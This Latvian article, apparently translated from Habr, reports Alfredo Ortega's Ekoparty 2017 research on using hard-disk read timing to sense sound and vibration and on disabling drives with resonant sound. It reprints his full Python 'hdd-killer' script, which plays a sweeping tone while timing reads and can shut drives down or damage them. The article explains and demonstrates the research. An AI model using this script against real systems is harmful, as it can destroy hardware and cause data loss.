Kāpēc jums nevajadzētu kliegt uz savu HDD

Kāpēc jums nevajadzētu kliegt uz savu HDD

Datordrošības konferencē Ekoparty 2017 Buenosairesā argentīniešu hakeris Alfredo Ortega demonstrēja ļoti interesantu izstrādni - sistēmu telpu slēptai telefonsarunu noklausīšanai, neizmantojot mikrofonu. Skaņa ierakstīts tieši cietajā diskā!

HDD galvenokārt uztver augstas intensitātes zemas frekvences skaņas, soļus un citas vibrācijas. Cilvēka runu vēl nevar atpazīt, lai gan zinātnieki veic pētījumus šajā virzienā (runas atpazīšana ar zemas frekvences vibrācijām, kas tiek ierakstītas, piemēram, no žiroskopa vai HDD).

Skaņa ir gaisa vai cita nesēja vibrācija. Cilvēks tos uztver caur bungādiņu, kas pārraida vibrācijas uz iekšējo ausi. Mikrofons veidots aptuveni kā auss – arī šeit vibrācijas fiksē plāna membrāna, kas ierosina elektrisko impulsu. Cietais disks, protams, ir pakļauts arī mikroskopiskām vibrācijām apkārtējā gaisa svārstību dēļ. Tas ir zināms pat no HDD tehniskajiem parametriem: ražotāji parasti norāda maksimālo pieļaujamo vibrācijas līmeni, un pats cietais disks bieži mēģina to ievietot vibrācijas izturīgā konteinerā, kas izgatavots no gumijas vai cita izolācijas materiāla. No tā ir viegli secināt, ka skaņas var ierakstīt, izmantojot HDD. Atliek tikai izdomāt, kā.

Alfredo Ortega ierosināja unikālu sānu kanālu uzbrukuma versiju, proti, laika uzbrukumu. Šis uzbrukums ir balstīts uz pieņēmumu, ka ierīcē dažādos laikos tiek veiktas dažādas darbības atkarībā no ievadītajiem ievades datiem. Šajā gadījumā “ievades dati” ir lasīšanas galviņas un HDD šķīvja vibrācijas, kas korelē ar vides vibrācijām, tas ir, ar skaņu. Tādējādi, mērot aprēķina laiku un veicot datu statistisko analīzi, ir iespējams izmērīt galvas/plates vibrācijas un līdz ar to arī vides vibrācijas. Jo ilgāka ir datu nolasīšanas aizkave, jo spēcīgāka ir HDD vibrācija un līdz ar to skaļāka skaņa.

Kā izmērīt cietā diska vibrācijas? Ļoti vienkārši: vienkārši palaidiet sistēmas zvanu read () — un pierakstiet laiku, kas nepieciešams pabeigšanai. Mūsdienu operētājsistēmas ļauj nolasīt sistēmas zvanu laiku ar nanosekundes precizitāti.

Informācijas nolasīšanas ātrums no sektora ir atkarīgs no galviņas un šķīvja stāvokļa, kas korelē ar HDD korpusa vibrācijām. Tas ir viss.

Statistiskā analīze tiek veikta, izmantojot vienkāršu Kscope utilītu. Kā saka, viss ģeniālais ir vienkāršs.

Kāpēc jums nevajadzētu kliegt uz savu HDD
Kscope utilīta (stat() syscall)

Kscope ir neliela utilīta, lai vizualizētu nelielas sistēmas zvanu izpildes laika atšķirības. Avotspublicēts vietnē GitHub.

Atsevišķā repozitorijā HDD laiks ir utilīta versija, kas konfigurēta laika uzbrukumam cietajam diskam, tas ir, konfigurēta, lai analizētu sistēmas zvanu read ().

Skaņas ierakstīšanas demonstrēšana, izmantojot HDD, utilīta Kscope darbība


Protams, runu šādā veidā nevar saprast, taču HDD ir diezgan piemērots kā vibrācijas sensors. Piemēram, jūs varat reģistrēties, ja telpā ar datoru ienāca persona, kas valkā cietus apavus vai basām kājām (iespējams, ja uzbrucējs ir uzvilcis mīkstas kedas vai uz grīdas ir biezs paklājs, HDD nevarēs reģistrēt vibrācijas - to ir vērts pārbaudīt). Dators spēj reģistrēt stikla plīsumus vai citus incidentus ar spēcīgu skaņas intensitāti. Tas ir, cietais disks var kalpot kā sava veida nesankcionēta ielaušanās atklāšanas sistēma.

HDD slepkava

Starp citu, līdzīgu paņēmienu var izmantot, lai atspējotu cietos diskus. Tikai šeit mēs nenoņemam svārstības no HDD, bet gluži pretēji, mēs ģenerējam svārstības, kas tiek ievadītas HDD. Ja atskaņojat skaņu no skaļruņa frekvencē, kas rezonē ar HDD frekvenci, sistēma drīz izslēdz ierīci ar I/O kļūdu (Linux kodols pilnībā izslēdz HDD pēc 120 sekundēm). Pats cietais disks var ciest neatgriezeniskus bojājumus.

Kāpēc jums nevajadzētu kliegt uz savu HDD
Linux kodols izslēdza cieto disku pēc 120 sekundēm, kad skaņa tika nodrošināta ar rezonanses frekvenci caur Edifier r19u USB skaļruņa skaļruni. Skaļrunis ir ieslēgts ar aptuveni ceturtdaļu no jaudas (mazāk nekā 100 mW) un atrodas 20 cm attālumā no HDD un ir vērsts pret galdu, lai uzlabotu vibrācijas. Rāmis no video ar HDD killer demonstrāciju

Interesanti, ka šādi “uzbrukumi” cietajiem diskiem ikdienas dzīvē notiek pilnīgi nejauši. Piemēram, 2016. gada septembrī ING Bank datu centrs pēc ugunsdzēsības mācībām bija spiests apturēt darbību uz 10 stundām. Desmitiem cieto disku ir sabojājušies sakarā ar inertās gāzes skaļo skaņu, kas izdalās no baloniem zem augsta spiediena. Skaņa bija ļoti skaļa (vairāk nekā 130 dB), taču jūs pat nevarat kliegt uz cietajiem diskiem - tas palielina aizkavi, piekļūstot HDD.

Demonstrācija, kā datu centrā cilvēki kliedz uz cietajiem diskiem. Latenta mērīšana


Lai radītu rezonējošo skaņu, Alfredo Ortega uzrakstīja Python skriptu ar nosaukumu HDD-slepkava (video demonstrācija).

HDD killer skripts Tas ir diezgan mazs, tāpēc varat to pilnībā publicēt šeit.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Avots: www.habr.com

Pievieno komentāru